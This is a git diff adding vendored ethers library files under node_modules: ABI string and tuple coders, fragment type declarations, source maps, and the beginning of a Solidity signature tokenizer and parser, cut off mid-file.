+{"version":3,"file":"string.d.ts","sourceRoot":"","sources":["../../../src.ts/abi/coders/string.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,KAAK,EAAE,MAAM,aAAa,CAAC;AACpC,OAAO,EAAE,iBAAiB,EAAE,MAAM,YAAY,CAAC;AAE/C,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAG1D;;GAEG;AACH,qBAAa,WAAY,SAAQ,iBAAiB;gBAElC,SAAS,EAAE,MAAM;IAI7B,YAAY,IAAI,MAAM;IAItB,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,GAAG,KAAK,GAAG,MAAM;IAItD,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAG9B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/string.js b/node_modules/ethers/lib.esm/abi/coders/string.js new file mode 100644 index 000000000000..cd8c4bd5ea9c --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/string.js @@ -0,0 +1,21 @@ +import { toUtf8Bytes, toUtf8String } from "../../utils/utf8.js"; +import { Typed } from "../typed.js"; +import { DynamicBytesCoder } from "./bytes.js"; +/** + * @_ignore + */ +export class StringCoder extends DynamicBytesCoder { + constructor(localName) { + super("string", localName); + } + defaultValue() { + return ""; + } + encode(writer, _value) { + return super.encode(writer, toUtf8Bytes(Typed.dereference(_value, "string"))); + } + decode(reader) { + return toUtf8String(super.decode(reader)); + } +} +//# sourceMappingURL=string.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/string.js.map b/node_modules/ethers/lib.esm/abi/coders/string.js.map new file mode 100644 index 000000000000..f0a168f92ad1 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/string.js.map @@ -0,0 +1 @@ +{"version":3,"file":"string.js","sourceRoot":"","sources":["../../../src.ts/abi/coders/string.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,WAAW,EAAE,YAAY,EAAE,MAAM,qBAAqB,CAAC;AAEhE,OAAO,EAAE,KAAK,EAAE,MAAM,aAAa,CAAC;AACpC,OAAO,EAAE,iBAAiB,EAAE,MAAM,YAAY,CAAC;AAK/C;;GAEG;AACH,MAAM,OAAO,WAAY,SAAQ,iBAAiB;IAE9C,YAAY,SAAiB;QACzB,KAAK,CAAC,QAAQ,EAAE,SAAS,CAAC,CAAC;IAC/B,CAAC;IAED,YAAY;QACR,OAAO,EAAE,CAAC;IACd,CAAC;IAED,MAAM,CAAC,MAAc,EAAE,MAAsB;QACzC,OAAO,KAAK,CAAC,MAAM,CAAC,MAAM,EAAE,WAAW,CAAC,KAAK,CAAC,WAAW,CAAC,MAAM,EAAE,QAAQ,CAAC,CAAC,CAAC,CAAC;IAClF,CAAC;IAED,MAAM,CAAC,MAAc;QACjB,OAAO,YAAY,CAAC,KAAK,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC,CAAC;IAC9C,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/tuple.d.ts b/node_modules/ethers/lib.esm/abi/coders/tuple.d.ts new file mode 100644 index 000000000000..fe3ec0328844 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/tuple.d.ts @@ -0,0 +1,16 @@ +import { Typed } from "../typed.js"; +import { Coder } from "./abstract-coder.js"; +import type { Reader, Writer } from "./abstract-coder.js"; +/** + * @_ignore + */ +export declare class TupleCoder extends Coder { + readonly coders: ReadonlyArray; + constructor(coders: Array, localName: string); + defaultValue(): any; + encode(writer: Writer, _value: Array | { + [name: string]: any; + } | Typed): number; + decode(reader: Reader): any; +} +//# sourceMappingURL=tuple.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/tuple.d.ts.map b/node_modules/ethers/lib.esm/abi/coders/tuple.d.ts.map new file mode 100644 index 000000000000..a7a22ec04984 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/tuple.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"tuple.d.ts","sourceRoot":"","sources":["../../../src.ts/abi/coders/tuple.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,KAAK,EAAE,MAAM,aAAa,CAAC;AACpC,OAAO,EAAE,KAAK,EAAE,MAAM,qBAAqB,CAAC;AAI5C,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAE1D;;GAEG;AACH,qBAAa,UAAW,SAAQ,KAAK;IACjC,QAAQ,CAAC,MAAM,EAAG,aAAa,CAAC,KAAK,CAAC,CAAC;gBAE3B,MAAM,EAAE,KAAK,CAAC,KAAK,CAAC,EAAE,SAAS,EAAE,MAAM;IAanD,YAAY,IAAI,GAAG;IA+BnB,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,KAAK,CAAC,GAAG,CAAC,GAAG;QAAE,CAAE,IAAI,EAAE,MAAM,GAAI,GAAG,CAAA;KAAE,GAAG,KAAK,GAAG,MAAM;IAKtF,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAG9B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/tuple.js b/node_modules/ethers/lib.esm/abi/coders/tuple.js new file mode 100644 index 000000000000..9215603f2cf6 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/tuple.js @@ -0,0 +1,63 @@ +import { defineProperties } from "../../utils/properties.js"; +import { Typed } from "../typed.js"; +import { Coder } from "./abstract-coder.js"; +import { pack, unpack } from "./array.js"; +/** + * @_ignore + */ +export class TupleCoder extends Coder { + coders; + constructor(coders, localName) { + let dynamic = false; + const types = []; + coders.forEach((coder) => { + if (coder.dynamic) { + dynamic = true; + } + types.push(coder.type); + }); + const type = ("tuple(" + types.join(",") + ")"); + super("tuple", type, localName, dynamic); + defineProperties(this, { coders: Object.freeze(coders.slice()) }); + } + defaultValue() { + const values = []; + this.coders.forEach((coder) => { + values.push(coder.defaultValue()); + }); + // We only output named properties for uniquely named coders + const uniqueNames = this.coders.reduce((accum, coder) => { + const name = coder.localName; + if (name) { + if (!accum[name]) { + accum[name] = 0; + } + accum[name]++; + } + return accum; + }, {}); + // Add named values + this.coders.forEach((coder, index) => { + let name = coder.localName; + if (!name || uniqueNames[name] !== 1) { + return; + } + if (name === "length") { + name = "_length"; + } + if (values[name] != null) { + return; + } + values[name] = values[index]; + }); + return Object.freeze(values); + } + encode(writer, _value) { + const value = Typed.dereference(_value, "tuple"); + return pack(writer, this.coders, value); + } + decode(reader) { + return unpack(reader, this.coders); + } +} +//# sourceMappingURL=tuple.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/tuple.js.map b/node_modules/ethers/lib.esm/abi/coders/tuple.js.map new file mode 100644 index 000000000000..a9be35f2e997 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/tuple.js.map @@ -0,0 +1 @@ +{"version":3,"file":"tuple.js","sourceRoot":"","sources":["../../../src.ts/abi/coders/tuple.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,gBAAgB,EAAE,MAAM,2BAA2B,CAAC;AAE7D,OAAO,EAAE,KA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BACN,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,EAAE;oBAAE,KAAK,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;iBAAE;gBACtC,KAAK,CAAC,IAAI,CAAC,EAAE,CAAC;aACjB;YACD,OAAO,KAAK,CAAC;QACjB,CAAC,EAAgC,EAAG,CAAC,CAAC;QAEtC,mBAAmB;QACnB,IAAI,CAAC,MAAM,CAAC,OAAO,CAAC,CAAC,KAAY,EAAE,KAAa,EAAE,EAAE;YAChD,IAAI,IAAI,GAAG,KAAK,CAAC,SAAS,CAAC;YAC3B,IAAI,CAAC,IAAI,IAAI,WAAW,CAAC,IAAI,CAAC,KAAK,CAAC,EAAE;gBAAE,OAAO;aAAE;YAEjD,IAAI,IAAI,KAAK,QAAQ,EAAE;gBAAE,IAAI,GAAG,SAAS,CAAC;aAAE;YAE5C,IAAI,MAAM,CAAC,IAAI,CAAC,IAAI,IAAI,EAAE;gBAAE,OAAO;aAAE;YAErC,MAAM,CAAC,IAAI,CAAC,GAAG,MAAM,CAAC,KAAK,CAAC,CAAC;QACjC,CAAC,CAAC,CAAC;QAEH,OAAO,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC;IACjC,CAAC;IAED,MAAM,CAAC,MAAc,EAAE,MAAsD;QACzE,MAAM,KAAK,GAAG,KAAK,CAAC,WAAW,CAAC,MAAM,EAAE,OAAO,CAAC,CAAC;QACjD,OAAO,IAAI,CAAC,MAAM,EAAE,IAAI,CAAC,MAAM,EAAE,KAAK,CAAC,CAAC;IAC5C,CAAC;IAED,MAAM,CAAC,MAAc;QACjB,OAAO,MAAM,CAAC,MAAM,EAAE,IAAI,CAAC,MAAM,CAAC,CAAC;IACvC,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/fragments.d.ts b/node_modules/ethers/lib.esm/abi/fragments.d.ts new file mode 100644 index 000000000000..cafb0a5a3c0e --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/fragments.d.ts @@ -0,0 +1,466 @@ +/** + * A fragment is a single item from an ABI, which may represent any of: + * + * - [Functions](FunctionFragment) + * - [Events](EventFragment) + * - [Constructors](ConstructorFragment) + * - Custom [Errors](ErrorFragment) + * - [Fallback or Receive](FallbackFragment) functions + * + * @_subsection api/abi/abi-coder:Fragments [about-fragments] + */ +/** + * A Type description in a [JSON ABI format](link-solc-jsonabi). + */ +export interface JsonFragmentType { + /** + * The parameter name. + */ + readonly name?: string; + /** + * If the parameter is indexed. + */ + readonly indexed?: boolean; + /** + * The type of the parameter. + */ + readonly type?: string; + /** + * The internal Solidity type. + */ + readonly internalType?: string; + /** + * The components for a tuple. + */ + readonly components?: ReadonlyArray; +} +/** + * A fragment for a method, event or error in a [JSON ABI format](link-solc-jsonabi). + */ +export interface JsonFragment { + /** + * The name of the error, event, function, etc. + */ + readonly name?: string; + /** + * The type of the fragment (e.g. ``event``, ``"function"``, etc.) + */ + readonly type?: string; + /** + * If the event is anonymous. + */ + readonly anonymous?: boolean; + /** + * If the function is payable. + */ + readonly payable?: boolean; + /** + * If the function is constant. + */ + readonly constant?: boolean; + /** + * The mutability state of the function. + */ + readonly stateMutability?: string; + /** + * The input parameters. + */ + readonly inputs?: ReadonlyArray; + /** + * The output parameters. + */ + readonly outputs?: ReadonlyArray; + /** + * The gas limit to use when sending a transaction for this function. + */ + readonly gas?: string; +} +/** + * The format to serialize the output as. + * + * **``"sighash"``** - the bare formatting, used to compute the selector + * or topic hash; this format cannot be reversed (as it discards ``indexed``) + * so cannot by used to export an [[Interface]]. + * + * **``"minimal"``** - Human-Readable ABI with minimal spacing and without + * names, so it is compact, but will result in Result objects that cannot + * be accessed by name. + * + * **``"full"``** - Full Human-Readable ABI, with readable spacing and names + * intact; this is generally the recommended format. + * + * **``"json"``** - The [JSON ABI format](link-solc-jsonabi). + */ +export type FormatType = "sighash" | "minimal" | "full" | "json"; +/** + * When [walking](ParamType-walk) a [[ParamType]], this is called + * on each component. + */ +export type ParamTypeWalkFunc = (type: string, value: any) => any; +/** + * When [walking asynchronously](ParamType-walkAsync) a [[ParamType]], + * this is called on each component. + */ +export type ParamTypeWalkAsyncFunc = (type: string, value: any) => any | Promise; +/** + * Each input and output of a [[Fragment]] is an Array of **ParamType**. + */ +export declare class ParamType { + #private; + /** + * The local name of the parameter (or ``""`` if unbound) + */ + readonly name: string; + /** + * The fully qualified type (e.g. ``"address"``, ``"tuple(address)"``, + * ``"uint256[3][]"``) + */ + readonly type: string; + /** + * The base type (e.g. ``"address"``, ``"tuple"``, ``"array"``) + */ + readonly baseType: string; + /** + * True if the parameters is indexed. + * + * For non-indexable types this is ``null``. + */ + readonly indexed: null | boolean; + /** + * The components for the tuple. + * + * For non-tuple types this is ``null``. + */ + readonly components: null | ReadonlyArray; + /** + * The array length, or ``-1`` for dynamic-lengthed arrays. + * + * For non-array types this is ``null``. + */ + readonly arrayLength: null | number; + /** + * The type of each child in the array. + * + * For non-array types this is ``null``. + */ + readonly arrayChildren: null | ParamType; + /** + * @private + */ + constructor(guard: any, name: string, type: string, baseType: string, indexed: null | boolean, components: null | ReadonlyArray, arrayLength: null | number, arrayChildren: null | ParamType); + /** + * Return a string representation of this type. + * + * For example, + * + * ``sighash" => "(uint256,address)"`` + * + * ``"minimal" => "tuple(uint256,address) indexed"`` + * + * ``"full" => "tuple(uint256 foo, address bar) indexed baz"`` + */ + format(format?: FormatType): string; + /** + * Returns true if %%this%% is an Array type. + * + * This provides a type gaurd ensuring that [[arrayChildren]] + * and [[arrayLength]] are non-null. + */ + isArray(): this is (ParamType & { + arrayChildren: ParamType; + arrayLength: number; + }); + /** + * Returns true if %%this%% is a Tuple type. + * + * This provides a type gaurd ensuring that [[components]] + * is non-null. + */ + isTuple(): this is (ParamType & { + components: ReadonlyArray; + }); + /** + * Returns true if %%this%% is an Indexable type. + * + * This provides a type gaurd ensuring that [[indexed]] + * is non-null. + */ + isIndexable(): this is (ParamType & { + indexed: boolean; + }); + /** + * Walks the **ParamType** with %%value%%, calling %%process%% + * on each type, destructing the %%value%% recursively. + */ + walk(value: any, process: ParamTypeWalkFunc): any; + /** + * Walks the **ParamType** with %%value%%, asynchronously calling + * %%process%% on each type, destructing the %%value%% recursively. + * + * This can be used to resolve ENS names by walking and resolving each + * ``"address"`` type. + */ + walkAsync(value: any, process: ParamTypeWalkAsyncFunc): Promise; + /** + * Creates a new **ParamType** for %%obj%%. + * + * If %%allowIndexed%% then the ``indexed`` keyword is permitted, + * otherwise the ``indexed`` keyword will throw an error. + */ + static from(obj: any, allowIndexed?: boolean): ParamType; + /** + * Returns true if %%value%% is a **ParamType**. + */ + static isParamType(value: any): value is ParamType; +} +/** + * The type of a [[Fragment]]. + */ +export type FragmentType = "constructor" | "error" | "event" | "fallback" | "function" | "struct"; +/** + * An abstract class to represent An individual fragment from a parse ABI. + */ +export declare abstract class Fragment { + /** + * The type of the fragment. + */ + readonly type: FragmentType; + /** + * The inputs for the fragment. + */ + readonly inputs: ReadonlyArray; + /** + * @private + */ + constructor(guard: any, type: FragmentType, inputs: ReadonlyArray); + /** + * Returns a string representation of this fragment as %%format%%. + */ + abstract format(format?: FormatType): string; + /** + * Creates a new **Fragment** for %%obj%%, wich can be any supported + * ABI frgament type. + */ + static from(obj: any): Fragment; + /** + * Returns true if %%value%% is a [[ConstructorFragment]]. + */ + static isConstructor(value: any): value is ConstructorFragment; + /** + * Returns true if %%value%% is an [[ErrorFragment]]. + */ + static isError(value: any): value is ErrorFragment; + /** + * Returns true if %%value%% is an [[EventFragment]]. + */ + static isEvent(value: any): value is EventFragment; + /** + * Returns true if %%value%% is a [[FunctionFragment]]. + */ + static isFunction(value: any): value is FunctionFragment; + /** + * Returns true if %%value%% is a [[StructFragment]]. + */ + static isStruct(value: any): value is StructFragment; +} +/** + * An abstract class to represent An individual fragment + * which has a name from a parse ABI. + */ +export declare abstract class NamedFragment extends Fragment { + /** + * The name of the fragment. + */ + readonly name: string; + /** + * @private + */ + constructor(guard: any, type: FragmentType, name: string, inputs: ReadonlyArray); +} +/** + * A Fragment which represents a //Custom Error//. + */ +export declare class ErrorFragment extends NamedFragment { + /** + * @private + */ + constructor(guard: any, name: string, inputs: ReadonlyArray); + /** + * The Custom Error selector. + */ + get selector(): string; + /** + * Returns a string representation of this fragment as %%format%%. + */ + format(format?: FormatType): string; + /** + * Returns a new **ErrorFragment** for %%obj%%. + */ + static from(obj: any): ErrorFragment; + /** + * Returns ``true`` and provides a type guard if %%value%% is an + * **ErrorFragment**. + */ + static isFragment(value: any): value is ErrorFragment; +} +/** + * A Fragment which represents an Event. + */ +export declare class EventFragment extends NamedFragment { + /** + * Whether this event is anonymous. + */ + readonly anonymous: boolean; + /** + * @private + */ + constructor(guard: any, name: string, inputs: ReadonlyArray, anonymous: boolean); + /** + * The Event topic hash. + */ + get topicHash(): string; + /** + * Returns a string representation of this event as %%format%%. + */ + format(format?: FormatType): string; + /** + * Return the topic hash for an event with %%name%% and %%params%%. + */ + static getTopicHash(name: string, params?: Array): string; + /** + * Returns a new **EventFragment** for %%obj%%. + */ + static from(obj: any): EventFragment; + /** + * Returns ``true`` and provides a type guard if %%value%% is an + * **EventFragment**. + */ + static isFragment(value: any): value is EventFragment; +} +/** + * A Fragment which represents a constructor. + */ +export declare class ConstructorFragment extends Fragment { + /** + * Whether the constructor can receive an endowment. + */ + readonly payable: boolean; + /** + * The recommended gas limit for deployment or ``null``. + */ + readonly gas: null | bigint; + /** + * @private + */ + constructor(guard: any, type: FragmentType, inputs: ReadonlyArray, payable: boolean, gas: null | bigint); + /** + * Returns a string representation of this constructor as %%format%%. + */ + format(format?: FormatType): string; + /** + * Returns a new **ConstructorFragment** for %%obj%%. + */ + static from(obj: any): ConstructorFragment; + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **ConstructorFragment**. + */ + static isFragment(value: any): value is ConstructorFragment; +} +/** + * A Fragment which represents a method. + */ +export declare class FallbackFragment extends Fragment { + /** + * If the function can be sent value during invocation. + */ + readonly payable: boolean; + constructor(guard: any, inputs: ReadonlyArray, payable: boolean); + /** + * Returns a string representation of this fallback as %%format%%. + */ + format(format?: FormatType): string; + /** + * Returns a new **FallbackFragment** for %%obj%%. + */ + static from(obj: any): FallbackFragment; + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **FallbackFragment**. + */ + static isFragment(value: any): value is FallbackFragment; +} +/** + * A Fragment which represents a method. + */ +export declare class FunctionFragment extends NamedFragment { + /** + * If the function is constant (e.g. ``pure`` or ``view`` functions). + */ + readonly constant: boolean; + /** + * The returned types for the result of calling this function. + */ + readonly outputs: ReadonlyArray; + /** + * The state mutability (e.g. ``payable``, ``nonpayable``, ``view`` + * or ``pure``) + */ + readonly stateMutability: "payable" | "nonpayable" | "view" | "pure"; + /** + * If the function can be sent value during invocation. + */ + readonly payable: boolean; + /** + * The recommended gas limit to send when calling this function. + */ + readonly gas: null | bigint; + /** + * @private + */ + constructor(guard: any, name: string, stateMutability: "payable" | "nonpayable" | "view" | "pure", inputs: ReadonlyArray, outputs: ReadonlyArray, gas: null | bigint); + /** + * The Function selector. + */ + get selector(): string; + /** + * Returns a string representation of this function as %%format%%. + */ + format(format?: FormatType): string; + /** + * Return the selector for a function with %%name%% and %%params%%. + */ + static getSelector(name: string, params?: Array): string; + /** + * Returns a new **FunctionFragment** for %%obj%%. + */ + static from(obj: any): FunctionFragment; + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **FunctionFragment**. + */ + static isFragment(value: any): value is FunctionFragment; +} +/** + * A Fragment which represents a structure. + */ +export declare class StructFragment extends NamedFragment { + /** + * @private + */ + constructor(guard: any, name: string, inputs: ReadonlyArray); + /** + * Returns a string representation of this struct as %%format%%. + */ + format(): string; + /** + * Returns a new **StructFragment** for %%obj%%. + */ + static from(obj: any): StructFragment; + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **StructFragment**. + */ + static isFragment(value: any): value is FunctionFragment; +} +//# sourceMappingURL=fragments.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/fragments.d.ts.map b/node_modules/ethers/lib.esm/abi/fragments.d.ts.map new file mode 100644 index 000000000000..8ff0a6030145 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/fragments.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"fragments.d.ts","sourceRoot":"","sources":["../../src.ts/abi/fragments.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;GAUG;AAQH;;GAEG;AACH,MAAM,WAAW,gBAAgB;IAC7B;;OAEG;IACH,QAAQ,CAAC,IAAI,CAAC,EAAE,MAAM,CAAC;IAEvB;;OAEG;IACH,QAAQ,CAAC,OAAO,CAAC,EAAE,OAAO,CAAC;IAE3B;;OAEG;IACH,QAAQ,CAAC,IAAI,CAAC,EAAE,MAAM,CAAC;IAEvB;;OAEG;IACH,QAAQ,CAAC,YAAY,CAAC,EAAE,MAAM,CAAC;IAE/B;;OAEG;IACH,QAAQ,CAAC,UAAU,CAAC,EAAE,aAAa,CAAC,gBAAgB,CAAC,CAAC;CACzD;AAED;;GAEG;AACH,MAAM,WAAW,YAAY;IACzB;;OAEG;IACH,QAAQ,CAAC,IAAI,CAAC,EAAE,MAAM,CAAC;IAEvB;;OAEG;IACH,QAAQ,CAAC,IAAI,CAAC,EAAE,MAAM,CAAC;IAEvB;;OAEG;IACH,QAAQ,CAAC,SAAS,CAAC,EAAE,OAAO,CAAC;IAE7B;;OAEG;IACH,QAAQ,CAAC,OAAO,CAAC,EAAE,OAAO,CAAC;IAE3B;;OAEG;IACH,QAAQ,CAAC,QAAQ,CAAC,EAAE,OAAO,CAAC;IAE5B;;OAEG;IACH,QAAQ,CAAC,eAAe,CAAC,EAAE,MAAM,CAAC;IAElC;;OAEG;IACH,QAAQ,CAAC,MAAM,CAAC,EAAE,aAAa,CAAC,gBAAgB,CAAC,CAAC;IAElD;;OAEG;IACH,QAAQ,CAAC,OAAO,CAAC,EAAE,aAAa,CAAC,gBAAgB,CAAC,CAAC;IAEnD;;OAEG;IACH,QAAQ,CAAC,GAAG,CAAC,EAAE,MAAM,CAAC;CACzB;AAED;;;;;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AM;IAM7D;;OAEG;IACH,MAAM,CAAC,IAAI,CAAC,GAAG,EAAE,GAAG,GAAG,gBAAgB;IAuDvC;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,KAAK,EAAE,GAAG,GAAG,KAAK,IAAI,gBAAgB;CAG3D;AAED;;GAEG;AACH,qBAAa,cAAe,SAAQ,aAAa;IAE7C;;OAEG;gBACS,KAAK,EAAE,GAAG,EAAE,IAAI,EAAE,MAAM,EAAE,MAAM,EAAE,aAAa,CAAC,SAAS,CAAC;IAKtE;;OAEG;IACH,MAAM,IAAI,MAAM;IAIhB;;OAEG;IACH,MAAM,CAAC,IAAI,CAAC,GAAG,EAAE,GAAG,GAAG,cAAc;IAmBrC;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,KAAK,EAAE,GAAG,GAAG,KAAK,IAAI,gBAAgB;CAG3D"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/fragments.js b/node_modules/ethers/lib.esm/abi/fragments.js new file mode 100644 index 000000000000..6c2323d42867 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/fragments.js @@ -0,0 +1,1319 @@ +/** + * A fragment is a single item from an ABI, which may represent any of: + * + * - [Functions](FunctionFragment) + * - [Events](EventFragment) + * - [Constructors](ConstructorFragment) + * - Custom [Errors](ErrorFragment) + * - [Fallback or Receive](FallbackFragment) functions + * + * @_subsection api/abi/abi-coder:Fragments [about-fragments] + */ +import { defineProperties, getBigInt, getNumber, assert, assertPrivate, assertArgument } from "../utils/index.js"; +import { id } from "../hash/index.js"; +; +// [ "a", "b" ] => { "a": 1, "b": 1 } +function setify(items) { + const result = new Set(); + items.forEach((k) => result.add(k)); + return Object.freeze(result); +} +const _kwVisibDeploy = "external public payable override"; +const KwVisibDeploy = setify(_kwVisibDeploy.split(" ")); +// Visibility Keywords +const _kwVisib = "constant external internal payable private public pure view override"; +const KwVisib = setify(_kwVisib.split(" ")); +const _kwTypes = "constructor error event fallback function receive struct"; +const KwTypes = setify(_kwTypes.split(" ")); +const _kwModifiers = "calldata memory storage payable indexed"; +const KwModifiers = setify(_kwModifiers.split(" ")); +const _kwOther = "tuple returns"; +// All Keywords +const _keywords = [_kwTypes, _kwModifiers, _kwOther, _kwVisib].join(" "); +const Keywords = setify(_keywords.split(" ")); +// Single character tokens +const SimpleTokens = { + "(": "OPEN_PAREN", ")": "CLOSE_PAREN", + "[": "OPEN_BRACKET", "]": "CLOSE_BRACKET", + ",": "COMMA", "@": "AT" +}; +// Parser regexes to consume the next token +const regexWhitespacePrefix = new RegExp("^(\\s*)"); +const regexNumberPrefix = new RegExp("^([0-9]+)"); +const regexIdPrefix = new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)"); +// Parser regexs to check validity +const regexId = new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)$"); +const regexType = new RegExp("^(address|bool|bytes([0-9]*)|string|u?int([0-9]*))$"); +class TokenString { + #offset; + #tokens; + get offset() { return this.#offset; } + get length() { return this.#tokens.length - this.#offset; } + constructor(tokens) { + this.#offset = 0; + this.#tokens = tokens.slice(); + } + clone() { return new TokenString(this.#tokens); } + reset() { this.#offset = 0; } + #subTokenString(from = 0, to = 0) { + return new TokenString(this.#tokens.slice(from, to).map((t) => { + return Object.freeze(Object.assign({}, t, { + match: (t.match - from), + linkBack: (t.linkBack - from), + linkNext: (t.linkNext - from), + })); + })); + } + // Pops and returns the value of the next token, if it is a keyword in allowed; throws if out of tokens + popKeyword(allowed) { + const top = this.peek(); + if (top.type !== "KEYWORD" || !allowed.has(top.text)) { + throw new Error(`expected keyword ${top.text}`); + } + return this.pop().text; + } + // Pops and returns the value of the next token if it is `type`; throws if out of tokens + popType(type) { + if (this.peek().type !== type) { + const top = this.peek(); + throw new Error(`expected ${type}; got ${top.type} ${JSON.stringify(top.text)}`); + } + return this.pop().text; + } + // Pops and returns a "(" TOKENS ")" + popParen() { + const top = this.peek(); + if (top.type !== "OPEN_PAREN") { + throw new Error("bad start"); + } + const result = this.#subTokenString(this.#offset + 1, top.match + 1); + this.#offset = top.match + 1; + return result; + } + // Pops and returns the items within "(" ITEM1 "," ITEM2 "," ... ")" + popParams() { + const top = this.peek(); + if (top.type !== "OPEN_PAREN") { + throw new Error("bad start"); + } + const result = []; + while (this.#offset < top.match - 1) { + const link = this.peek().linkNext; + result.push(this.#subTokenString(this.#offset + 1, link)); + this.#offset = link; + } + this.#offset = top.match + 1; + return result; + } + // Returns the top Token, throwing if out of tokens + peek() { + if (this.#offset >= this.#tokens.length) { + throw new Error("out-of-bounds"); + } + return this.#tokens[this.#offset]; + } + // Returns the next value, if it is a keyword in `allowed` + peekKeyword(allowed) { + const top = this.peekType("KEYWORD"); + return (top != null && allowed.has(top)) ? top : null; + } + // Returns the value of the next token if it is `type` + peekType(type) { + if (this.length === 0) { + return null; + } + const top = this.peek(); + return (top.type === type) ? top.text : null; + } + // Returns the next token; throws if out of tokens + pop() { + const result = this.peek(); + this.#offset++; + return result; + } + toString() { + const tokens = []; + for (let i = this.#offset; i < this.#tokens.length; i++) { + const token = this.#tokens[i]; + tokens.push(`${token.type}:${token.text}`); + } + return ``; + } +} +function lex(text) { + const tokens = []; + const throwError = (message) => { + const token = (offset < text.length) ? JSON.stringify(text[offset]) : "$EOI"; + throw new Error(`invalid token ${token} at ${offset}: ${message}`); + }; + let brackets = []; + let commas = []; + let offset = 0; + while (offset < text.length) { + // Strip off any leading whitespace + let cur = text.substring(offset); + let match = cur.match(regexWhitespacePrefix); + if (match) { + offset += match[1].length; + cur = text.substring(offset); + } + const token = { depth: brackets.length, linkBack: -1, linkNext: -1, match: -1, type: "", text: "", offset, value: -1 }; + tokens.push(token); + let type = (SimpleTokens[cur[0]] || ""); + if (type) { + token.type = type; + token.text = cur[0]; + offset++; + if (type === "OPEN_PAREN") { + brackets.push(tokens.length - 1); + commas.push(tokens.length - 1); + } + else if (type == "CLOSE_PAREN") { + if (brackets.length === 0) { + throwError("no matching open bracket"); + } + token.match = brackets.pop(); + (tokens[token.match]).match = tokens.length - 1; + token.depth--; + token.linkBack = commas.pop(); + (tokens[token.linkBack]).linkNext = tokens.length - 1; + } + else if (type === "COMMA") { + token.linkBack = commas.pop(); + (tokens[token.linkBack]).linkNext = tokens.length - 1; + commas.push(tokens.length - 1); + } + else if (type === "OPEN_BRACKET") { + token.type = "BRACKET"; + } + else if (type === "CLOSE_BRACKET") { + // Remove the CLOSE_BRACKET + let suffix = tokens.pop().text; + if (tokens.length > 0 && tokens[tokens.length - 1].type === "NUMBER") { + const value = tokens.pop().text; + suffix = value + suffix; + (tokens[tokens.length - 1]).value = getNumber(value); + } + if (tokens.length === 0 || tokens[tokens.length - 1].type !== "BRACKET") { + throw new Error("missing opening bracket"); + } + (tokens[tokens.length - 1]).text += suffix; + } + continue; + } + match = cur.match(regexIdPrefix); + if (match) { + token.text = match[1]; + offset += token.text.length; + if (Keywords.has(token.text)) { + token.type = "KEYWORD"; + continue; + } + if (token.text.match(regexType)) { + token.type = "TYPE"; + continue; + } + token.type = "ID"; + continue; + } + match = cur.match(regexNumberPrefix); + if (match) { + token.text = match[1]; + token.type = "NUMBER"; + offset += token.text.length; + continue; + } + throw new Error(`unexpected token ${JSON.stringify(cur[0])} at position ${offset}`); + } + return new TokenString(tokens.map((t) => Object.freeze(t))); +} +// Check only one of `allowed` is in `set` +function allowSingle(set, allowed) { + let included = []; + for (const key in allowed.keys()) { + if (set.has(key)) { + included.push(key); + } + } + if (included.length > 1) { + throw new Error(`conflicting types: ${included.join(", ")}`); + } +} +// Functions to process a Solidity Signature TokenString from left-to-right for... +// ...the name with an optional type, returning the name +function consumeName(type, tokens) { + if (tokens.peekKeyword(KwTypes)) { + const keyword = tokens.pop().text; + if (keyword !== type) { + throw new Error(`expected ${type}, got ${keyword}`); + } + } + return tokens.popType("ID"); +} +// ...all keywords matching allowed, returning the keywords +function consumeKeywords(tokens, allowed) { + const keywords = new Set(); + while (true) { + const keyword = tokens.peekType("KEYWORD"); + if (keyword == null || (allowed && !allowed.has(keyword))) { + break; + } + tokens.pop(); + if (keywords.has(keyword)) { + throw new Error(`duplicate keywords: ${JSON.stringify(keyword)}`); + } + keywords.add(keyword); + } + return Object.freeze(keywords); +} +// ...all visibility keywords, returning the 